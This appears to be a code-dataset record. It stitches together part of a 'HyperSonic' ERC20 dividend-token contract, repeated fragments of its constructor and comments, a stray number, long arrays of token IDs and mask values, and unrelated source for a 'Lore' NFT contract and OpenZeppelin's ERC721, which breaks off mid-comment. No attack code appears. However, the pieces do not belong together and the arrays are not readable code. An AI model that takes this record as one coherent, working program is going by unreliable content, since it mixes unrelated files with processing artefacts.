uint256 shareholderCount = shareholders.length; if (shareholderCount == 0) return; uint256 gasUsed; uint256 gasLeft = gasleft(); uint256 _currentIndex = currentIndex; for (uint256 i = 0; i < shareholderCount && gasUsed < maxGas; i++) { if (_currentIndex >= shareholderCount) _currentIndex = 0; address _shareholder = shareholders[_currentIndex]; if ( block.timestamp > shares[_shareholder].lastClaimed + minPeriod && getUnpaidEarnings(_shareholder) > minDistribution ) { _sendDividend(_shareholder); } gasUsed += gasLeft - gasleft(); gasLeft = gasleft(); _currentIndex++; } currentIndex = _currentIndex; } function _getCumulativeDividends(address shareholder) internal view returns (uint256) { return (shares[shareholder].amount * dividendsPerShare) / _ACCURACY_; } function _sendDividend(address shareholder) internal { uint256 amount = getUnpaidEarnings(shareholder); if (amount == 0) return; dividendToken.transfer(shareholder, amount); totalDistributed += amount; shares[shareholder].totalRealised += amount; shares[shareholder].totalExcluded = _getCumulativeDividends(shareholder); shares[shareholder].lastClaimed = block.timestamp; } function _addShareholder(address shareholder) internal { shares[shareholder].index = shareholders.length; shareholders.push(shareholder); } function _removeShareholder(address shareholder) internal { _sendDividend(shareholder); shareholders[shares[shareholder].index] = shareholders[shareholders.length - 1]; shares[shareholders[shareholders.length - 1]].index = shares[shareholder].index; delete shares[shareholder]; shareholders.pop(); } function claimDividend() external { _sendDividend(msg.sender); } function getUnpaidEarnings(address shareholder) public view returns (uint256) { uint256 _dividends = _getCumulativeDividends(shareholder); uint256 _excluded = shares[shareholder].totalExcluded; return _dividends > _excluded ? _dividends - _excluded : 0; } } contract HyperSonic is Auth { address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; ITokenConverter public TOKEN_CONVERTER = ITokenConverter(address(0)); string public constant name = "HyperSonic"; string public constant symbol = "HYPERSONIC"; uint8 public constant decimals = 18; uint256 public constant totalSupply = 1e6 * 1e18; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; mapping(address => bool) public isFeeExempt; mapping(address => bool) public isBuyLimitExempt; mapping(address => bool) public isWalletLimitExempt; mapping(address => bool) public isDividendExempt; mapping(address => bool) public isPair; mapping(address => bool) public isRouter; bool public buyLimitEnabled = true; uint256 public buyLimitBUSD = 5000e18; uint256 public walletLimit = 5000e18; IDEXRouter public router; address public pair; DividendDistributor public distributor; uint256 public launchedAt; bool public tradingOpen; struct FeeSettings { uint256 liquidity; uint256 dividends; uint256 total; uint256 _burn; uint256 _denominator; } struct SwapbackSettings { bool enabled; uint256 amount; } FeeSettings public fees = FeeSettings({liquidity: 100, dividends: 300, total: 400, _burn: 100, _denominator: 10000}); SwapbackSettings public swapback = SwapbackSettings({enabled: true, amount: totalSupply / 1000}); bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } event AutoLiquify(uint256 amountBNB, uint256 amountTKN); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() { // UNISWAP V2 ROUTER 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); pair = router.factory().createPair(WETH, address(this)); allowance[address(this)][address(router)] = ~uint256(0); distributor = new DividendDistributor(IERC20(WETH)); isFeeExempt[DEAD] = true; isFeeExempt[msg.sender] = true; isFeeExempt[address(this)] = true; isFeeExempt[address(router)] = true; isBuyLimitExempt[DEAD] = true; isBuyLimitExempt[msg.sender] = true; isBuyLimitExempt[address(this)] = true; isBuyLimitExempt[address(router)] = true; isWalletLimitExempt[DEAD] = true; isWalletLimitExempt[msg.sender] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[address(router)] = true; isDividendExempt[DEAD] = true; isDividendExempt[msg.sender] = true; isDividendExempt[address(this)] = true; isDividendExempt[address(router)] = true; isDividendExempt[pair] = true; isWalletLimitExempt[pair] = true; isPair[pair] = true; isRouter[address(router)] = true; // Owner must manually whitelist DXSale presale contract // isFeeExempt[_presaleContract] = true; // isBuyLimitExempt[_presaleContract] = true; // isDividendExempt[_presaleContract] = true; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } receive() external payable {} function getOwner() external view returns (address) { return owner; } function approve(address spender, uint256 amount) public returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, ~uint256(0)); } function transfer(address recipient, uint256 amount) external returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { if (allowance[sender][msg.sender] != ~uint256(0)) allowance[sender][msg.sender] -= amount; return _transferFrom(sender, recipient, amount); } function _transferFrom( address sender, address recipient, uint256 amount ) internal returns (bool) { if (inSwap) return _basicTransfer(sender, recipient, amount); if (!tradingOpen) require(isAuthorized[sender], "Trading not open yet"); bool _isBuy = isPair[sender] && !isRouter[recipient]; bool _isTradingOperation = isPair[sender] || isPair[recipient] || isPair[msg.sender] || isRouter[sender] || isRouter[recipient] || isRouter[msg.sender]; bool _isFirst24Hours = block.timestamp < (launchedAt + 24 hours); bool _mustLimitBuyAmount = buyLimitEnabled && !isBuyLimitExempt[recipient]; bool _isTemporaryTaxFreeBuy = _isFirst24Hours && _isBuy; // Limit wallet balance during first 24h if (_isFirst24Hours && !isWalletLimitExempt[recipient]) require(balanceOf[recipient] + amount <= walletLimit, "Recipient balance limit exceeded"); // Limit BUY during first 24h if (_isBuy && _mustLimitBuyAmount) { uint256 _BUSDEquivalent = TOKEN_CONVERTER.convertViaWETH(address(this), USDT, amount); if (_BUSDEquivalent > 0) require(_BUSDEquivalent <= buyLimitBUSD, "BUY limit exceeded"); } // Sells accumulated fee for BNB and distribute if (swapback.enabled && (balanceOf[address(this)] >= swapback.amount) && !_isTradingOperation) { // (?swapback enabled?) Sells accumulated TKN fees for BNB _sellAndDistributeAccumulatedTKNFee(); } // Launch at first liquidity if (launchedAt == 0 && isPair[recipient]) { require(balanceOf[sender] > 0); launchedAt = block.timestamp; } // Take fee; burn; // Exchange balances balanceOf[sender] -= amount; uint256 amountReceived = amount; if (!isFeeExempt[sender] && !isFeeExempt[recipient] && !_isTemporaryTaxFreeBuy) { if (fees.total > 0) { uint256 feeAmount = (amount * fees.total) / fees._denominator; balanceOf[address(this)] += feeAmount; emit Transfer(sender, address(this), feeAmount); amountReceived -= feeAmount; } if (fees._burn > 0) { uint256 burnAmount = (amount * fees._burn) / fees._denominator; balanceOf[DEAD] += burnAmount; emit Transfer(sender, DEAD, burnAmount); amountReceived -= burnAmount; } } balanceOf[recipient] += amountReceived; emit Transfer(sender, recipient, amountReceived); // Dividend tracker if (!isDividendExempt[sender]) try distributor.setShare(sender, balanceOf[sender]) {} catch {} if (!isDividendExempt[recipient]) try distributor.setShare(recipient, balanceOf[recipient]) {} catch {} try distributor.sendDividends() {} catch {} return true; } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { balanceOf[sender] -= amount; balanceOf[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } function _sellAndDistributeAccumulatedTKNFee() internal swapping { // Swap the fee taken above to BNB and distribute to liquidity and dividends; // Add some liquidity uint256 halfLiquidityFee = fees.liquidity / 2; uint256 TKNtoLiquidity = (swapback.amount * halfLiquidityFee) / fees.total; uint256 amountToSwap = swapback.amount - TKNtoLiquidity; address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uint256 gotBNB = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); gotBNB = address(this).balance - gotBNB; uint256 totalBNBFee = fees.total - halfLiquidityFee; uint256 BNBtoLiquidity = (gotBNB * halfLiquidityFee) / totalBNBFee; uint256 BNBtoDividends = (gotBNB * fees.dividends) / totalBNBFee; try distributor.deposit{value: BNBtoDividends}() {} catch {} if (TKNtoLiquidity > 0) { router.addLiquidityETH{value: BNBtoLiquidity}(address(this), TKNtoLiquidity, 0, 0, owner, block.timestamp); emit AutoLiquify(BNBtoLiquidity, TKNtoLiquidity); } } function _sellBNB(uint256 amount, address to) internal swapping { address[] memory path = new address[](2); path[0] = WETH; path[1] = address(this); router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(0, path, to, block.timestamp); } function getCirculatingSupply() public view returns (uint256) { return totalSupply - balanceOf[DEAD] - balanceOf[ZERO]; } // SET EXEMPTS function setIsFeeExempt(address[] memory holders, bool exempt) public onlyOwner { for (uint256 i = 0; i < holders.length; i++) { isFeeExempt[holders[i]] = exempt; } } function setIsBuyLimitExempt(address[] memory holders, bool exempt) public onlyOwner { for (uint256 i = 0; i < holders.length; i++) { isBuyLimitExempt[holders[i]] = exempt; } } function setIsWalletLimitExempt(address[] memory holders, bool exempt) public onlyOwner { for (uint256 i = 0; i < holders.length; i++) { isWalletLimitExempt[holders[i]] = exempt; } } function setIsDividendExempt(address[] memory holders, bool exempt) public onlyOwner { for (uint256 i = 0; i < holders.length; i++) { require(holders[i] != address(this) && !(isPair[holders[i]] && !exempt)); // Forbid including back token and pairs isDividendExempt[holders[i]] = exempt; distributor.setShare(holders[i], exempt ? 0 : balanceOf[holders[i]]); } } function setFullExempt(address[] memory holders, bool exempt) public onlyOwner { setIsFeeExempt(holders, exempt); setIsBuyLimitExempt(holders, exempt); setIsWalletLimitExempt(holders, exempt); setIsDividendExempt(holders, exempt); } function setIsPair(address[] memory addresses, bool isPair_) public onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { isPair[addresses[i]] = isPair_; } setIsDividendExempt(addresses, isPair_); setIsWalletLimitExempt(addresses, isPair_); } function setIsRouter(address[] memory addresses, bool isRouter_) public onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { isRouter[addresses[i]] = isRouter_; } setFullExempt(addresses, isRouter_); } // TOKEN SETTINGS function setBuyLimitSettings(uint256 amount, bool enabled) external onlyOwner { buyLimitBUSD = amount; buyLimitEnabled = enabled; } function setWalletLimitSettings(uint256 amount) external onlyOwner { walletLimit = amount; } function setFees( uint256 _liquidity, uint256 _dividends, uint256 _burn, uint256 _denominator ) external onlyOwner { fees = FeeSettings({ liquidity: _liquidity, dividends: _dividends, total: _liquidity + _dividends, _burn: _burn, _denominator: _denominator }); require(fees.total + _burn < fees._denominator / 4); } function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner { swapback.enabled = _enabled; swapback.amount = _amount; } function setTradingStatus(bool _status) external onlyOwner { tradingOpen = _status; } // DISTRIBUTOR SETTINGS function deployNewDistributor(IERC20 _dividendToken) external onlyOwner { distributor = new DividendDistributor(_dividendToken); } function setDistributionCriteria( uint256 _minPeriod, uint256 _minDistribution, uint256 _shareThreshold ) external onlyOwner { distributor.setDistributionCriteria(_minPeriod, _minDistribution, _shareThreshold); } function setDistributorGas(uint256 gas) external onlyOwner { require(gas <= 750000, "Max 750000 gas allowed"); distributor.setMaxGas(gas); } function setTokenConverter(ITokenConverter tokenConverter) external onlyOwner { TOKEN_CONVERTER = tokenConverter; } /* Airdrop Begins */ function makeItRain(address[] memory addresses, uint256[] memory tokens) external onlyOwner { uint256 showerCapacity = 0; require(addresses.length == tokens.length, "Mismatch between Address and token count"); for (uint256 i = 0; i < addresses.length; i++) showerCapacity += tokens[i]; require(balanceOf[msg.sender] >= showerCapacity, "Not enough tokens to airdrop"); for (uint256 i = 0; i < addresses.length; i++) _basicTransfer(msg.sender, addresses[i], tokens[i]); } }
UNISWAP V2 ROUTER 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D Owner must manually whitelist DXSale presale contract isFeeExempt[_presaleContract] = true; isBuyLimitExempt[_presaleContract] = true; isDividendExempt[_presaleContract] = true;
constructor() { router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); pair = router.factory().createPair(WETH, address(this)); allowance[address(this)][address(router)] = ~uint256(0); distributor = new DividendDistributor(IERC20(WETH)); isFeeExempt[DEAD] = true; isFeeExempt[msg.sender] = true; isFeeExempt[address(this)] = true; isFeeExempt[address(router)] = true; isBuyLimitExempt[DEAD] = true; isBuyLimitExempt[msg.sender] = true; isBuyLimitExempt[address(this)] = true; isBuyLimitExempt[address(router)] = true; isWalletLimitExempt[DEAD] = true; isWalletLimitExempt[msg.sender] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[address(router)] = true; isDividendExempt[DEAD] = true; isDividendExempt[msg.sender] = true; isDividendExempt[address(this)] = true; isDividendExempt[address(router)] = true; isDividendExempt[pair] = true; isWalletLimitExempt[pair] = true; isPair[pair] = true; isRouter[address(router)] = true; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); }
6,817,697
[ 1, 2124, 5127, 59, 2203, 776, 22, 534, 5069, 654, 374, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 16837, 1297, 10036, 10734, 26634, 30746, 4075, 5349, 6835, 353, 14667, 424, 5744, 63, 67, 12202, 5349, 8924, 65, 273, 638, 31, 27057, 9835, 3039, 424, 5744, 63, 67, 12202, 5349, 8924, 65, 273, 638, 31, 353, 7244, 26746, 424, 5744, 63, 67, 12202, 5349, 8924, 65, 273, 638, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 288, 203, 3639, 4633, 273, 1599, 2294, 8259, 12, 20, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 1769, 203, 3639, 3082, 273, 4633, 18, 6848, 7675, 2640, 4154, 12, 59, 1584, 44, 16, 1758, 12, 2211, 10019, 203, 3639, 1699, 1359, 63, 2867, 12, 2211, 13, 6362, 2867, 12, 10717, 25887, 273, 4871, 11890, 5034, 12, 20, 1769, 203, 203, 3639, 1015, 19293, 273, 394, 21411, 26746, 1669, 19293, 12, 45, 654, 39, 3462, 12, 59, 1584, 44, 10019, 203, 203, 3639, 353, 14667, 424, 5744, 63, 1639, 1880, 65, 273, 638, 31, 203, 3639, 353, 14667, 424, 5744, 63, 3576, 18, 15330, 65, 273, 638, 31, 203, 3639, 353, 14667, 424, 5744, 63, 2867, 12, 2211, 25887, 273, 638, 31, 203, 3639, 353, 14667, 424, 5744, 63, 2867, 12, 10717, 25887, 273, 638, 31, 203, 203, 3639, 27057, 9835, 3039, 424, 5744, 63, 1639, 1880, 65, 273, 638, 31, 203, 3639, 27057, 9835, 3039, 424, 5744, 63, 3576, 18, 15330, 65, 273, 638, 31, 203, 3639, 27057, 9835, 3039, 424, 5744, 63, 2867, 12, 2211, 25887, 273, 638, 31, 203, 3639, 27057, 9835, 3039, 424, 5744, 63, 2867, 12, 10717, 25887, 273, 638, 31, 203, 203, 3639, 353, 16936, 3039, 424, 5744, 63, 1639, 1880, 65, 273, 638, 31, 203, 3639, 353, 16936, 3039, 424, 5744, 63, 3576, 18, 15330, 65, 273, 638, 31, 203, 3639, 2 ]
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; // _ __ , __ ___ // \_|_) /\_\//|/ \ / (_) // | | | |___/ \__ // _| | | | \ / // (/\___/\__/ | \_/\___/ import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/interfaces/IERC2981.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; contract Lore is ERC721, Ownable, IERC2981 { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter public totalSupply; /* Tree management */ uint256 constant STORY_ROOT = 0; // tokenId of root, the empty sentence mapping (uint256 => uint256[]) public children; mapping (uint256 => uint256) public parent; /* Tree node data */ mapping (uint256 => string) public sentence; mapping (uint256 => uint16) public imageStyle; /* Sale management */ bytes32 mirrorMerkleRoot; mapping (address => bool) public hasClaimedAllowlist; event SentenceAdded(uint256 tokenId, string sentence); constructor() ERC721("Lore","LORE") { // make a "root" node to be the base case sentence[STORY_ROOT] = ''; imageStyle[STORY_ROOT] = 0; _safeMint(msg.sender, STORY_ROOT); totalSupply.increment(); } function mintSeed(string calldata _sentence, uint16 _imageStyle) public payable { require(msg.value == 0.08 ether || msg.sender == owner(), "requires money"); _mint(STORY_ROOT, _sentence, _imageStyle); } /** * gas-efficient allowlist using MerkleProof * we could make the tx less expensive if the seed * had to be their first purchase */ function mintSeedBacker(string calldata _sentence, uint16 _imageStyle, bytes32[] calldata _merkleProof) external { bytes32 node = getMerkleLeaf(msg.sender); require( MerkleProof.verify(_merkleProof, mirrorMerkleRoot, node), "Non-backers must pay to mint" ); require(!hasClaimedAllowlist[msg.sender], "Already claimed"); hasClaimedAllowlist[msg.sender] = true; _mint(STORY_ROOT, _sentence, _imageStyle); } /* Convenience methods */ function getMerkleLeaf(address _claimer) public pure returns (bytes32) { // airdrop is a list of addresses return keccak256(abi.encodePacked(_claimer)); } function setEarlyBackerMerkleRoot(bytes32 _root) external onlyOwner { mirrorMerkleRoot = _root; } function mint(uint256 _parentId, string calldata _sentence, uint16 _imageStyle) external { require(_parentId != 0, "mint seeds through mintSeed"); _mint(_parentId, _sentence, _imageStyle); } function _mint(uint256 _parentId, string calldata _sentence, uint16 _imageStyle) internal returns (uint256 tokenId) { tokenId = totalSupply.current(); totalSupply.increment(); children[_parentId].push(tokenId); parent[tokenId] = _parentId; sentence[tokenId] = _sentence; imageStyle[tokenId] = _imageStyle; _safeMint(msg.sender, tokenId); emit SentenceAdded(tokenId, _sentence); } /** * ROYALTIES */ uint256 public constant ROYALTY_AMOUNT_BIPS = 500; // 5% function royaltyInfo( uint256, /*_tokenId*/ uint256 _salePrice ) external view virtual override returns (address receiver, uint256 royaltyAmount) { receiver = owner(); require(receiver != address(0)); royaltyAmount = (_salePrice * ROYALTY_AMOUNT_BIPS) / 10000; } function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId); } // See https://docs.opensea.io/docs/contract-level-metadata for details. function contractURI() public view returns (string memory) { return string(abi.encodePacked( _baseURI(), 'contract-metadata' )); } /** * HELPER FUNCTIONS * */ function storyAt(uint256 _tokenId) public virtual view returns (string memory) { uint256 curToken = _tokenId; string memory story = ''; while (curToken != STORY_ROOT) { story = string(abi.encodePacked(sentence[curToken], story)); curToken = parent[curToken]; } return story; } function getNumChildren(uint256 _tokenId) public virtual view returns (uint256) { return children[_tokenId].length; } function getAllChildren(uint256 _tokenId) public virtual view returns (uint256[] memory) { return children[_tokenId]; } function getAllParents(uint256 _tokenId) public virtual view returns (uint256[] memory) { uint256 curToken = _tokenId; uint256 treeDepth = 0; while (curToken != STORY_ROOT) { treeDepth++; curToken = parent[curToken]; } uint256[] memory parents = new uint256[](treeDepth); curToken = _tokenId; for (uint256 i = 0; i < treeDepth; i++) { parents[i] = curToken; curToken = parent[curToken]; } return parents; } function _baseURI() internal view virtual override returns (string memory) { string memory toReturn = string(abi.encodePacked( "http://makelore.xyz/metadata/", toAsciiString(address(this)), '/' )); return toReturn; } function toAsciiString(address x) internal pure returns (string memory) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i))))); bytes1 hi = bytes1(uint8(b) / 16); bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); s[2*i] = char(hi); s[2*i+1] = char(lo); } return string(s); } function char(bytes1 b) internal pure returns (bytes1 c) { if (uint8(b) < 10) return bytes1(uint8(b) + 0x30); else return bytes1(uint8(b) + 0x57); } function withdraw() external onlyOwner { (bool sent, ) = address(msg.sender).call{ value: address(this).balance }(""); require(sent, "Withdraw failed"); } receive() external payable {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for 